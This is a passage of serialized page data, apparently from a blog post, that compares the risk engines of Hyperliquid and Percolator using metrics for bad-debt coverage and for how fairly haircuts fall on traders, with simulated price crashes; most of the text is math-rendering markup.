"props":164330,"children":164332},{"style":164331},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[164333,164337],{"type":21,"tag":198,"props":164334,"children":164336},{"className":164335,"style":109289},[4861],[],{"type":21,"tag":198,"props":164338,"children":164340},{"className":164339},[4867,109294,109295,4870],[164341],{"type":21,"tag":198,"props":164342,"children":164344},{"className":164343},[4822,22381,4870],[164345],{"type":27,"value":22523},{"type":21,"tag":198,"props":164347,"children":164349},{"className":164348},[22538],[164350],{"type":27,"value":22541},{"type":21,"tag":198,"props":164352,"children":164354},{"className":164353},[4847],[164355],{"type":21,"tag":198,"props":164356,"children":164358},{"className":164357,"style":109314},[4852],[164359],{"type":21,"tag":198,"props":164360,"children":164361},{},[],{"type":21,"tag":198,"props":164363,"children":164365},{"className":164364},[22538],[164366],{"type":27,"value":22541},{"type":21,"tag":198,"props":164368,"children":164370},{"className":164369},[4847],[164371],{"type":21,"tag":198,"props":164372,"children":164375},{"className":164373,"style":164374},[4852],"height:0.4453em;",[164376],{"type":21,"tag":198,"props":164377,"children":164378},{},[],{"type":21,"tag":198,"props":164380,"children":164382},{"className":164381},[22532,113947],[],{"type":27,"value":164384}," — how much of the total bad debt was actually covered. ",{"type":21,"tag":194,"props":164386,"children":164388},{"className":164387},[4794,4795],[164389],{"type":21,"tag":198,"props":164390,"children":164392},{"className":164391},[4800],[164393],{"type":21,"tag":198,"props":164394,"children":164396},{"className":164395,"ariaHidden":4806},[4805],[164397,164423],{"type":21,"tag":198,"props":164398,"children":164400},{"className":164399},[4811],[164401,164405,164410,164414,164419],{"type":21,"tag":198,"props":164402,"children":164404},{"className":164403,"style":22376},[4816],[],{"type":21,"tag":198,"props":164406,"children":164408},{"className":164407,"style":22840},[4822,22381],[164409],{"type":27,"value":22843},{"type":21,"tag":198,"props":164411,"children":164413},{"className":164412,"style":4998},[4901],[],{"type":21,"tag":198,"props":164415,"children":164417},{"className":164416},[5003],[164418],{"type":27,"value":3174},{"type":21,"tag":198,"props":164420,"children":164422},{"className":164421,"style":4998},[4901],[],{"type":21,"tag":198,"props":164424,"children":164426},{"className":164425},[4811],[164427,164431],{"type":21,"tag":198,"props":164428,"children":164430},{"className":164429,"style":94460},[4816],[],{"type":21,"tag":198,"props":164432,"children":164434},{"className":164433},[4822],[164435],{"type":27,"value":134},{"type":27,"value":164437}," means fully solvent (",{"type":21,"tag":194,"props":164439,"children":164441},{"className":164440},[4794,4795],[164442],{"type":21,"tag":198,"props":164443,"children":164445},{"className":164444},[4800],[164446],{"type":21,"tag":198,"props":164447,"children":164449},{"className":164448,"ariaHidden":4806},[4805],[164450,164528],{"type":21,"tag":198,"props":164451,"children":164453},{"className":164452},[4811],[164454,164458,164515,164519,164524],{"type":21,"tag":198,"props":164455,"children":164457},{"className":164456,"style":111426},[4816],[],{"type":21,"tag":198,"props":164459,"children":164461},{"className":164460},[4822],[164462,164467],{"type":21,"tag":198,"props":164463,"children":164465},{"className":164464,"style":123206},[4822,22381],[164466],{"type":27,"value":123209},{"type":21,"tag":198,"props":164468,"children":164470},{"className":164469},[4837],[164471],{"type":21,"tag":198,"props":164472,"children":164474},{"className":164473},[4842,22435],[164475,164504],{"type":21,"tag":198,"props":164476,"children":164478},{"className":164477},[4847],[164479,164499],{"type":21,"tag":198,"props":164480,"children":164482},{"className":164481,"style":162072},[4852],[164483],{"type":21,"tag":198,"props":164484,"children":164485},{"style":162076},[164486,164490],{"type":21,"tag":198,"props":164487,"children":164489},{"className":164488,"style":4862},[4861],[],{"type":21,"tag":198,"props":164491,"children":164493},{"className":164492},[4867,4868,4869,4870],[164494],{"type":21,"tag":198,"props":164495,"children":164497},{"className":164496},[4822,22381,4870],[164498],{"type":27,"value":22523},{"type":21,"tag":198,"props":164500,"children":164502},{"className":164501},[22538],[164503],{"type":27,"value":22541},{"type":21,"tag":198,"props":164505,"children":164507},{"className":164506},[4847],[164508],{"type":21,"tag":198,"props":164509,"children":164511},{"className":164510,"style":93512},[4852],[164512],{"type":21,"tag":198,"props":164513,"children":164514},{},[],{"type":21,"tag":198,"props":164516,"children":164518},{"className":164517,"style":4998},[4901],[],{"type":21,"tag":198,"props":164520,"children":164522},{"className":164521},[5003],[164523],{"type":27,"value":3174},{"type":21,"tag":198,"props":164525,"children":164527},{"className":164526,"style":4998},[4901],[],{"type":21,"tag":198,"props":164529,"children":164531},{"className":164530},[4811],[164532,164536],{"type":21,"tag":198,"props":164533,"children":164535},{"className":164534,"style":94460},[4816],[],{"type":21,"tag":198,"props":164537,"children":164539},{"className":164538},[4822],[164540],{"type":27,"value":3482},{"type":27,"value":15982},{"type":21,"tag":194,"props":164543,"children":164545},{"className":164544},[4794,4795],[164546],{"type":21,"tag":198,"props":164547,"children":164549},{"className":164548},[4800],[164550],{"type":21,"tag":198,"props":164551,"children":164553},{"className":164552,"ariaHidden":4806},[4805],[164554,164580],{"type":21,"tag":198,"props":164555,"children":164557},{"className":164556},[4811],[164558,164562,164567,164571,164576],{"type":21,"tag":198,"props":164559,"children":164561},{"className":164560,"style":22376},[4816],[],{"type":21,"tag":198,"props":164563,"children":164565},{"className":164564,"style":22840},[4822,22381],[164566],{"type":27,"value":22843},{"type":21,"tag":198,"props":164568,"children":164570},{"className":164569,"style":4998},[4901],[],{"type":21,"tag":198,"props":164572,"children":164574},{"className":164573},[5003],[164575],{"type":27,"value":3174},{"type":21,"tag":198,"props":164577,"children":164579},{"className":164578,"style":4998},[4901],[],{"type":21,"tag":198,"props":164581,"children":164583},{"className":164582},[4811],[164584,164588],{"type":21,"tag":198,"props":164585,"children":164587},{"className":164586,"style":94460},[4816],[],{"type":21,"tag":198,"props":164589,"children":164591},{"className":164590},[4822],[164592],{"type":27,"value":3482},{"type":27,"value":164594}," means nothing was recovered.",{"type":21,"tag":75,"props":164596,"children":164597},{},[164598,164602,164603,164726,164727,164944,164946,165050,165052,165103,165105,165157],{"type":21,"tag":1671,"props":164599,"children":164600},{},[164601],{"type":27,"value":161251},{"type":27,"value":33690},{"type":21,"tag":194,"props":164604,"children":164606},{"className":164605},[4794,4795],[164607],{"type":21,"tag":198,"props":164608,"children":164610},{"className":164609},[4800],[164611],{"type":21,"tag":198,"props":164612,"children":164614},{"className":164613,"ariaHidden":4806},[4805],[164615,164641],{"type":21,"tag":198,"props":164616,"children":164618},{"className":164617},[4811],[164619,164623,164628,164632,164637],{"type":21,"tag":198,"props":164620,"children":164622},{"className":164621,"style":164148},[4816],[],{"type":21,"tag":198,"props":164624,"children":164626},{"className":164625},[4822],[164627],{"type":27,"value":134},{"type":21,"tag":198,"props":164629,"children":164631},{"className":164630,"style":4902},[4901],[],{"type":21,"tag":198,"props":164633,"children":164635},{"className":164634},[4907],[164636],{"type":27,"value":4881},{"type":21,"tag":198,"props":164638,"children":164640},{"className":164639,"style":4902},[4901],[],{"type":21,"tag":198,"props":164642,"children":164644},{"className":164643},[4811],[164645,164649,164659,164664,164721],{"type":21,"tag":198,"props":164646,"children":164648},{"className":164647,"style":4922},[4816],[],{"type":21,"tag":198,"props":164650,"children":164652},{"className":164651},[4822,27],[164653],{"type":21,"tag":198,"props":164654,"children":164656},{"className":164655},[4822],[164657],{"type":27,"value":164658},"Gini",{"type":21,"tag":198,"props":164660,"children":164662},{"className":164661},[22510],[164663],{"type":27,"value":706},{"type":21,"tag":198,"props":164665,"children":164667},{"className":164666},[4822],[164668,164673],{"type":21,"tag":198,"props":164669,"children":164671},{"className":164670},[4822,22381],[164672],{"type":27,"value":84727},{"type":21,"tag":198,"props":164674,"children":164676},{"className":164675},[4837],[164677],{"type":21,"tag":198,"props":164678,"children":164680},{"className":164679},[4842,22435],[164681,164710],{"type":21,"tag":198,"props":164682,"children":164684},{"className":164683},[4847],[164685,164705],{"type":21,"tag":198,"props":164686,"children":164688},{"className":164687,"style":93958},[4852],[164689],{"type":21,"tag":198,"props":164690,"children":164691},{"style":93485},[164692,164696],{"type":21,"tag":198,"props":164693,"children":164695},{"className":164694,"style":4862},[4861],[],{"type":21,"tag":198,"props":164697,"children":164699},{"className":164698},[4867,4868,4869,4870],[164700],{"type":21,"tag":198,"props":164701,"children":164703},{"className":164702},[4822,22381,4870],[164704],{"type":27,"value":4544},{"type":21,"tag":198,"props":164706,"children":164708},{"className":164707},[22538],[164709],{"type":27,"value":22541},{"type":21,"tag":198,"props":164711,"children":164713},{"className":164712},[4847],[164714],{"type":21,"tag":198,"props":164715,"children":164717},{"className":164716,"style":93512},[4852],[164718],{"type":21,"tag":198,"props":164719,"children":164720},{},[],{"type":21,"tag":198,"props":164722,"children":164724},{"className":164723},[22532],[164725],{"type":27,"value":2109},{"type":27,"value":8134},{"type":21,"tag":194,"props":164728,"children":164730},{"className":164729},[4794,4795],[164731],{"type":21,"tag":198,"props":164732,"children":164734},{"className":164733},[4800],[164735],{"type":21,"tag":198,"props":164736,"children":164738},{"className":164737,"ariaHidden":4806},[4805],[164739,164817],{"type":21,"tag":198,"props":164740,"children":164742},{"className":164741},[4811],[164743,164747,164804,164808,164813],{"type":21,"tag":198,"props":164744,"children":164746},{"className":164745,"style":142708},[4816],[],{"type":21,"tag":198,"props":164748,"children":164750},{"className":164749},[4822],[164751,164756],{"type":21,"tag":198,"props":164752,"children":164754},{"className":164753},[4822,22381],[164755],{"type":27,"value":84727},{"type":21,"tag":198,"props":164757,"children":164759},{"className":164758},[4837],[164760],{"type":21,"tag":198,"props":164761,"children":164763},{"className":164762},[4842,22435],[164764,164793],{"type":21,"tag":198,"props":164765,"children":164767},{"className":164766},[4847],[164768,164788],{"type":21,"tag":198,"props":164769,"children":164771},{"className":164770,"style":93958},[4852],[164772],{"type":21,"tag":198,"props":164773,"children":164774},{"style":93485},[164775,164779],{"type":21,"tag":198,"props":164776,"children":164778},{"className":164777,"style":4862},[4861],[],{"type":21,"tag":198,"props":164780,"children":164782},{"className":164781},[4867,4868,4869,4870],[164783],{"type":21,"tag":198,"props":164784,"children":164786},{"className":164785},[4822,22381,4870],[164787],{"type":27,"value":4544},{"type":21,"tag":198,"props":164789,"children":164791},{"className":164790},[22538],[164792],{"type":27,"value":22541},{"type":21,"tag":198,"props":164794,"children":164796},{"className":164795},[4847],[164797],{"type":21,"tag":198,"props":164798,"children":164800},{"className":164799,"style":93512},[4852],[164801],{"type":21,"tag":198,"props":164802,"children":164803},{},[],{"type":21,"tag":198,"props":164805,"children":164807},{"className":164806,"style":4998},[4901],[],{"type":21,"tag":198,"props":164809,"children":164811},{"className":164810},[5003],[164812],{"type":27,"value":3174},{"type":21,"tag":198,"props":164814,"children":164816},{"className":164815,"style":4998},[4901],[],{"type":21,"tag":198,"props":164818,"children":164820},{"className":164819},[4811],[164821,164825,164882,164887],{"type":21,"tag":198,"props":164822,"children":164824},{"className":164823,"style":4922},[4816],[],{"type":21,"tag":198,"props":164826,"children":164828},{"className":164827},[4822],[164829,164834],{"type":21,"tag":198,"props":164830,"children":164832},{"className":164831},[4822,22381],[164833],{"type":27,"value":20070},{"type":21,"tag":198,"props":164835,"children":164837},{"className":164836},[4837],[164838],{"type":21,"tag":198,"props":164839,"children":164841},{"className":164840},[4842,22435],[164842,164871],{"type":21,"tag":198,"props":164843,"children":164845},{"className":164844},[4847],[164846,164866],{"type":21,"tag":198,"props":164847,"children":164849},{"className":164848,"style":93958},[4852],[164850],{"type":21,"tag":198,"props":164851,"children":164852},{"style":93485},[164853,164857],{"type":21,"tag":198,"props":164854,"children":164856},{"className":164855,"style":4862},[4861],[],{"type":21,"tag":198,"props":164858,"children":164860},{"className":164859},[4867,4868,4869,4870],[164861],{"type":21,"tag":198,"props":164862,"children":164864},{"className":164863},[4822,22381,4870],[164865],{"type":27,"value":4544},{"type":21,"tag":198,"props":164867,"children":164869},{"className":164868},[22538],[164870],{"type":27,"value":22541},{"type":21,"tag":198,"props":164872,"children":164874},{"className":164873},[4847],[164875],{"type":21,"tag":198,"props":164876,"children":164878},{"className":164877,"style":93512},[4852],[164879],{"type":21,"tag":198,"props":164880,"children":164881},{},[],{"type":21,"tag":198,"props":164883,"children":164885},{"className":164884},[4822],[164886],{"type":27,"value":2232},{"type":21,"tag":198,"props":164888,"children":164890},{"className":164889},[4822],[164891,164896],{"type":21,"tag":198,"props":164892,"children":164894},{"className":164893,"style":122709},[4822,22381],[164895],{"type":27,"value":2692},{"type":21,"tag":198,"props":164897,"children":164899},{"className":164898},[4837],[164900],{"type":21,"tag":198,"props":164901,"children":164903},{"className":164902},[4842,22435],[164904,164933],{"type":21,"tag":198,"props":164905,"children":164907},{"className":164906},[4847],[164908,164928],{"type":21,"tag":198,"props":164909,"children":164911},{"className":164910,"style":93958},[4852],[164912],{"type":21,"tag":198,"props":164913,"children":164914},{"style":161657},[164915,164919],{"type":21,"tag":198,"props":164916,"children":164918},{"className":164917,"style":4862},[4861],[],{"type":21,"tag":198,"props":164920,"children":164922},{"className":164921},[4867,4868,4869,4870],[164923],{"type":21,"tag":198,"props":164924,"children":164926},{"className":164925},[4822,22381,4870],[164927],{"type":27,"value":4544},{"type":21,"tag":198,"props":164929,"children":164931},{"className":164930},[22538],[164932],{"type":27,"value":22541},{"type":21,"tag":198,"props":164934,"children":164936},{"className":164935},[4847],[164937],{"type":21,"tag":198,"props":164938,"children":164940},{"className":164939,"style":93512},[4852],[164941],{"type":21,"tag":198,"props":164942,"children":164943},{},[],{"type":27,"value":164945}," for each winner with ",{"type":21,"tag":194,"props":164947,"children":164949},{"className":164948},[4794,4795],[164950],{"type":21,"tag":198,"props":164951,"children":164953},{"className":164952},[4800],[164954],{"type":21,"tag":198,"props":164955,"children":164957},{"className":164956,"ariaHidden":4806},[4805],[164958,165037],{"type":21,"tag":198,"props":164959,"children":164961},{"className":164960},[4811],[164962,164967,165024,165028,165033],{"type":21,"tag":198,"props":164963,"children":164966},{"className":164964,"style":164965},[4816],"height:0.6891em;vertical-align:-0.15em;",[],{"type":21,"tag":198,"props":164968,"children":164970},{"className":164969},[4822],[164971,164976],{"type":21,"tag":198,"props":164972,"children":164974},{"className":164973,"style":122709},[4822,22381],[164975],{"type":27,"value":2692},{"type":21,"tag":198,"props":164977,"children":164979},{"className":164978},[4837],[164980],{"type":21,"tag":198,"props":164981,"children":164983},{"className":164982},[4842,22435],[164984,165013],{"type":21,"tag":198,"props":164985,"children":164987},{"className":164986},[4847],[164988,165008],{"type":21,"tag":198,"props":164989,"children":164991},{"className":164990,"style":93958},[4852],[164992],{"type":21,"tag":198,"props":164993,"children":164994},{"style":161657},[164995,164999],{"type":21,"tag":198,"props":164996,"children":164998},{"className":164997,"style":4862},[4861],[],{"type":21,"tag":198,"props":165000,"children":165002},{"className":165001},[4867,4868,4869,4870],[165003],{"type":21,"tag":198,"props":165004,"children":165006},{"className":165005},[4822,22381,4870],[165007],{"type":27,"value":4544},{"type":21,"tag":198,"props":165009,"children":165011},{"className":165010},[22538],[165012],{"type":27,"value":22541},{"type":21,"tag":198,"props":165014,"children":165016},{"className":165015},[4847],[165017],{"type":21,"tag":198,"props":165018,"children":165020},{"className":165019,"style":93512},[4852],[165021],{"type":21,"tag":198,"props":165022,"children":165023},{},[],{"type":21,"tag":198,"props":165025,"children":165027},{"className":165026,"style":4998},[4901],[],{"type":21,"tag":198,"props":165029,"children":165031},{"className":165030},[5003],[165032],{"type":27,"value":11270},{"type":21,"tag":198,"props":165034,"children":165036},{"className":165035,"style":4998},[4901],[],{"type":21,"tag":198,"props":165038,"children":165040},{"className":165039},[4811],[165041,165045],{"type":21,"tag":198,"props":165042,"children":165044},{"className":165043,"style":94460},[4816],[],{"type":21,"tag":198,"props":165046,"children":165048},{"className":165047},[4822],[165049],{"type":27,"value":3482},{"type":27,"value":165051}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":21,"tag":194,"props":165053,"children":165055},{"className":165054},[4794,4795],[165056],{"type":21,"tag":198,"props":165057,"children":165059},{"className":165058},[4800],[165060],{"type":21,"tag":198,"props":165061,"children":165063},{"className":165062,"ariaHidden":4806},[4805],[165064,165090],{"type":21,"tag":198,"props":165065,"children":165067},{"className":165066},[4811],[165068,165072,165077,165081,165086],{"type":21,"tag":198,"props":165069,"children":165071},{"className":165070,"style":22376},[4816],[],{"type":21,"tag":198,"props":165073,"children":165075},{"className":165074,"style":22382},[4822,22381],[165076],{"type":27,"value":122207},{"type":21,"tag":198,"props":165078,"children":165080},{"className":165079,"style":4998},[4901],[],{"type":21,"tag":198,"props":165082,"children":165084},{"className":165083},[5003],[165085],{"type":27,"value":3174},{"type":21,"tag":198,"props":165087,"children":165089},{"className":165088,"style":4998},[4901],[],{"type":21,"tag":198,"props":165091,"children":165093},{"className":165092},[4811],[165094,165098],{"type":21,"tag":198,"props":165095,"children":165097},{"className":165096,"style":94460},[4816],[],{"type":21,"tag":198,"props":165099,"children":165101},{"className":165100},[4822],[165102],{"type":27,"value":134},{"type":27,"value":165104}," means everyone loses the same fraction of their PNL. ",{"type":21,"tag":194,"props":165106,"children":165108},{"className":165107},[4794,4795],[165109],{"type":21,"tag":198,"props":165110,"children":165112},{"className":165111},[4800],[165113],{"type":21,"tag":198,"props":165114,"children":165116},{"className":165115,"ariaHidden":4806},[4805],[165117,165144],{"type":21,"tag":198,"props":165118,"children":165120},{"className":165119},[4811],[165121,165125,165130,165134,165140],{"type":21,"tag":198,"props":165122,"children":165124},{"className":165123,"style":22376},[4816],[],{"type":21,"tag":198,"props":165126,"children":165128},{"className":165127,"style":22382},[4822,22381],[165129],{"type":27,"value":122207},{"type":21,"tag":198,"props":165131,"children":165133},{"className":165132,"style":4998},[4901],[],{"type":21,"tag":198,"props":165135,"children":165137},{"className":165136},[5003],[165138],{"type":27,"value":165139},"≈",{"type":21,"tag":198,"props":165141,"children":165143},{"className":165142,"style":4998},[4901],[],{"type":21,"tag":198,"props":165145,"children":165147},{"className":165146},[4811],[165148,165152],{"type":21,"tag":198,"props":165149,"children":165151},{"className":165150,"style":94460},[4816],[],{"type":21,"tag":198,"props":165153,"children":165155},{"className":165154},[4822],[165156],{"type":27,"value":3482},{"type":27,"value":165158}," means a few get wiped while most are untouched.",{"type":21,"tag":75,"props":165160,"children":165161},{},[165162,165166,165167,165325,165327,165421,165423],{"type":21,"tag":1671,"props":165163,"children":165164},{},[165165],{"type":27,"value":161261},{"type":27,"value":33690},{"type":21,"tag":194,"props":165168,"children":165170},{"className":165169},[4794,4795],[165171],{"type":21,"tag":198,"props":165172,"children":165174},{"className":165173},[4800],[165175],{"type":21,"tag":198,"props":165176,"children":165178},{"className":165177,"ariaHidden":4806},[4805],[165179],{"type":21,"tag":198,"props":165180,"children":165182},{"className":165181},[4811],[165183,165188,165263,165268],{"type":21,"tag":198,"props":165184,"children":165187},{"className":165185,"style":165186},[4816],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":21,"tag":198,"props":165189,"children":165191},{"className":165190},[4822],[165192,165197],{"type":21,"tag":198,"props":165193,"children":165195},{"className":165194,"style":95437},[4822,22381],[165196],{"type":27,"value":161986},{"type":21,"tag":198,"props":165198,"children":165200},{"className":165199},[4837],[165201],{"type":21,"tag":198,"props":165202,"children":165204},{"className":165203},[4842,22435],[165205,165251],{"type":21,"tag":198,"props":165206,"children":165208},{"className":165207},[4847],[165209,165246],{"type":21,"tag":198,"props":165210,"children":165212},{"className":165211,"style":109146},[4852],[165213,165230],{"type":21,"tag":198,"props":165214,"children":165216},{"style":165215},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[165217,165221],{"type":21,"tag":198,"props":165218,"children":165220},{"className":165219,"style":4862},[4861],[],{"type":21,"tag":198,"props":165222,"children":165224},{"className":165223},[4867,4868,4869,4870],[165225],{"type":21,"tag":198,"props":165226,"children":165228},{"className":165227,"style":22382},[4822,22381,4870],[165229],{"type":27,"value":6800},{"type":21,"tag":198,"props":165231,"children":165232},{"style":4856},[165233,165237],{"type":21,"tag":198,"props":165234,"children":165236},{"className":165235,"style":4862},[4861],[],{"type":21,"tag":198,"props":165238,"children":165240},{"className":165239},[4867,4868,4869,4870],[165241],{"type":21,"tag":198,"props":165242,"children":165244},{"className":165243,"style":93915},[4822,22381,4870],[165245],{"type":27,"value":161500},{"type":21,"tag":198,"props":165247,"children":165249},{"className":165248},[22538],[165250],{"type":27,"value":22541},{"type":21,"tag":198,"props":165252,"children":165254},{"className":165253},[4847],[165255],{"type":21,"tag":198,"props":165256,"children":165259},{"className":165257,"style":165258},[4852],"height:0.2753em;",[165260],{"type":21,"tag":198,"props":165261,"children":165262},{},[],{"type":21,"tag":198,"props":165264,"children":165266},{"className":165265},[4822],[165267],{"type":27,"value":2232},{"type":21,"tag":198,"props":165269,"children":165271},{"className":165270},[4822],[165272,165277],{"type":21,"tag":198,"props":165273,"children":165275},{"className":165274,"style":95437},[4822,22381],[165276],{"type":27,"value":161986},{"type":21,"tag":198,"props":165278,"children":165280},{"className":165279},[4837],[165281],{"type":21,"tag":198,"props":165282,"children":165284},{"className":165283},[4842,22435],[165285,165314],{"type":21,"tag":198,"props":165286,"children":165288},{"className":165287},[4847],[165289,165309],{"type":21,"tag":198,"props":165290,"children":165292},{"className":165291,"style":142984},[4852],[165293],{"type":21,"tag":198,"props":165294,"children":165295},{"style":162005},[165296,165300],{"type":21,"tag":198,"props":165297,"children":165299},{"className":165298,"style":4862},[4861],[],{"type":21,"tag":198,"props":165301,"children":165303},{"className":165302},[4867,4868,4869,4870],[165304],{"type":21,"tag":198,"props":165305,"children":165307},{"className":165306,"style":22382},[4822,22381,4870],[165308],{"type":27,"value":6800},{"type":21,"tag":198,"props":165310,"children":165312},{"className":165311},[22538],[165313],{"type":27,"value":22541},{"type":21,"tag":198,"props":165315,"children":165317},{"className":165316},[4847],[165318],{"type":21,"tag":198,"props":165319,"children":165321},{"className":165320,"style":93512},[4852],[165322],{"type":21,"tag":198,"props":165323,"children":165324},{},[],{"type":27,"value":165326}," — ",{"type":21,"tag":194,"props":165328,"children":165330},{"className":165329},[4794,4795],[165331],{"type":21,"tag":198,"props":165332,"children":165334},{"className":165333},[4800],[165335],{"type":21,"tag":198,"props":165336,"children":165338},{"className":165337,"ariaHidden":4806},[4805],[165339],{"type":21,"tag":198,"props":165340,"children":165342},{"className":165341},[4811],[165343,165348],{"type":21,"tag":198,"props":165344,"children":165347},{"className":165345,"style":165346},[4816],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":21,"tag":198,"props":165349,"children":165351},{"className":165350},[4822],[165352,165357],{"type":21,"tag":198,"props":165353,"children":165355},{"className":165354,"style":95437},[4822,22381],[165356],{"type":27,"value":161986},{"type":21,"tag":198,"props":165358,"children":165360},{"className":165359},[4837],[165361],{"type":21,"tag":198,"props":165362,"children":165364},{"className":165363},[4842,22435],[165365,165410],{"type":21,"tag":198,"props":165366,"children":165368},{"className":165367},[4847],[165369,165405],{"type":21,"tag":198,"props":165370,"children":165372},{"className":165371,"style":109146},[4852],[165373,165389],{"type":21,"tag":198,"props":165374,"children":165375},{"style":165215},[165376,165380],{"type":21,"tag":198,"props":165377,"children":165379},{"className":165378,"style":4862},[4861],[],{"type":21,"tag":198,"props":165381,"children":165383},{"className":165382},[4867,4868,4869,4870],[165384],{"type":21,"tag":198,"props":165385,"children":165387},{"className":165386,"style":22382},[4822,22381,4870],[165388],{"type":27,"value":6800},{"type":21,"tag":198,"props":165390,"children":165391},{"style":4856},[165392,165396],{"type":21,"tag":198,"props":165393,"children":165395},{"className":165394,"style":4862},[4861],[],{"type":21,"tag":198,"props":165397,"children":165399},{"className":165398},[4867,4868,4869,4870],[165400],{"type":21,"tag":198,"props":165401,"children":165403},{"className":165402,"style":93915},[4822,22381,4870],[165404],{"type":27,"value":161500},{"type":21,"tag":198,"props":165406,"children":165408},{"className":165407},[22538],[165409],{"type":27,"value":22541},{"type":21,"tag":198,"props":165411,"children":165413},{"className":165412},[4847],[165414],{"type":21,"tag":198,"props":165415,"children":165417},{"className":165416,"style":165258},[4852],[165418],{"type":21,"tag":198,"props":165419,"children":165420},{},[],{"type":27,"value":165422}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":21,"tag":194,"props":165424,"children":165426},{"className":165425},[4794,4795],[165427],{"type":21,"tag":198,"props":165428,"children":165430},{"className":165429},[4800],[165431],{"type":21,"tag":198,"props":165432,"children":165434},{"className":165433,"ariaHidden":4806},[4805],[165435],{"type":21,"tag":198,"props":165436,"children":165438},{"className":165437},[4811],[165439,165443],{"type":21,"tag":198,"props":165440,"children":165442},{"className":165441,"style":111270},[4816],[],{"type":21,"tag":198,"props":165444,"children":165446},{"className":165445,"style":93915},[4822,22381],[165447],{"type":27,"value":161500},{"type":21,"tag":30,"props":165449,"children":165450},{},[165451],{"type":27,"value":165452},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":21,"tag":165454,"props":165455,"children":165457},"git-hub-repo-link",{"url":165456},"https://github.com/aeyakovenko/percolator",[],{"type":21,"tag":30,"props":165459,"children":165460},{},[165461,165463,165468],{"type":27,"value":165462},"Given a fixed ",{"type":21,"tag":1671,"props":165464,"children":165465},{},[165466],{"type":27,"value":165467},"a priori",{"type":27,"value":165469}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":21,"tag":30,"props":165471,"children":165472},{},[165473,165475,165480,165482,165559],{"type":27,"value":165474},"One prediction that we can make is that Percolator is ",{"type":21,"tag":1671,"props":165476,"children":165477},{},[165478],{"type":27,"value":165479},"perfectly fair",{"type":27,"value":165481}," according to this scoring: the ",{"type":21,"tag":194,"props":165483,"children":165485},{"className":165484},[4794,4795],[165486],{"type":21,"tag":198,"props":165487,"children":165489},{"className":165488},[4800],[165490],{"type":21,"tag":198,"props":165491,"children":165493},{"className":165492,"ariaHidden":4806},[4805],[165494],{"type":21,"tag":198,"props":165495,"children":165497},{"className":165496},[4811],[165498,165502],{"type":21,"tag":198,"props":165499,"children":165501},{"className":165500,"style":142708},[4816],[],{"type":21,"tag":198,"props":165503,"children":165505},{"className":165504},[4822],[165506,165511],{"type":21,"tag":198,"props":165507,"children":165509},{"className":165508},[4822,22381],[165510],{"type":27,"value":84727},{"type":21,"tag":198,"props":165512,"children":165514},{"className":165513},[4837],[165515],{"type":21,"tag":198,"props":165516,"children":165518},{"className":165517},[4842,22435],[165519,165548],{"type":21,"tag":198,"props":165520,"children":165522},{"className":165521},[4847],[165523,165543],{"type":21,"tag":198,"props":165524,"children":165526},{"className":165525,"style":93958},[4852],[165527],{"type":21,"tag":198,"props":165528,"children":165529},{"style":93485},[165530,165534],{"type":21,"tag":198,"props":165531,"children":165533},{"className":165532,"style":4862},[4861],[],{"type":21,"tag":198,"props":165535,"children":165537},{"className":165536},[4867,4868,4869,4870],[165538],{"type":21,"tag":198,"props":165539,"children":165541},{"className":165540},[4822,22381,4870],[165542],{"type":27,"value":4544},{"type":21,"tag":198,"props":165544,"children":165546},{"className":165545},[22538],[165547],{"type":27,"value":22541},{"type":21,"tag":198,"props":165549,"children":165551},{"className":165550},[4847],[165552],{"type":21,"tag":198,"props":165553,"children":165555},{"className":165554,"style":93512},[4852],[165556],{"type":21,"tag":198,"props":165557,"children":165558},{},[],{"type":27,"value":165560}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":21,"tag":30,"props":165562,"children":165563},{},[165564,165566,165571],{"type":27,"value":165565},"We are ignoring the ",{"type":21,"tag":1671,"props":165567,"children":165568},{},[165569],{"type":27,"value":165570},"a posteriori",{"type":27,"value":165572}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":21,"tag":30,"props":165574,"children":165575},{},[165576],{"type":27,"value":165577},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":21,"tag":22,"props":165579,"children":165581},{"id":165580},"simulations",[165582],{"type":27,"value":165583},"Simulations",{"type":21,"tag":30,"props":165585,"children":165586},{},[165587],{"type":27,"value":165588},"Let's consider the following price scenarios, as we said:",{"type":21,"tag":30,"props":165590,"children":165591},{},[165592],{"type":21,"tag":1376,"props":165593,"children":165596},{"alt":165594,"src":165595},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":21,"tag":30,"props":165598,"children":165599},{},[165600],{"type":27,"value":165601},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":21,"tag":30,"props":165603,"children":165604},{},[165605],{"type":21,"tag":1376,"props":165606,"children":165609},{"alt":165607,"src":165608},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":21,"tag":59,"props":165611,"children":165613},{"id":165612},"percolator-is-more-optimistic",[165614],{"type":27,"value":165615},"Percolator Is More \"Optimistic\"",{"type":21,"tag":30,"props":165617,"children":165618},{},[165619,165621,165626,165628,165633,165635,165641,165643,165648],{"type":27,"value":165620},"The key difference is what happens to positions. ADL ",{"type":21,"tag":1671,"props":165622,"children":165623},{},[165624],{"type":27,"value":165625},"permanently closes",{"type":27,"value":165627}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":21,"tag":1671,"props":165629,"children":165630},{},[165631],{"type":27,"value":165632},"withdraw",{"type":27,"value":165634},", but the position stays open. If conditions improve, ",{"type":21,"tag":194,"props":165636,"children":165638},{"className":165637},[],[165639],{"type":27,"value":165640},"Residual",{"type":27,"value":165642}," goes up, ",{"type":21,"tag":194,"props":165644,"children":165646},{"className":165645},[],[165647],{"type":27,"value":84727},{"type":27,"value":165649}," climbs back toward 1, and you get your PNL back without doing 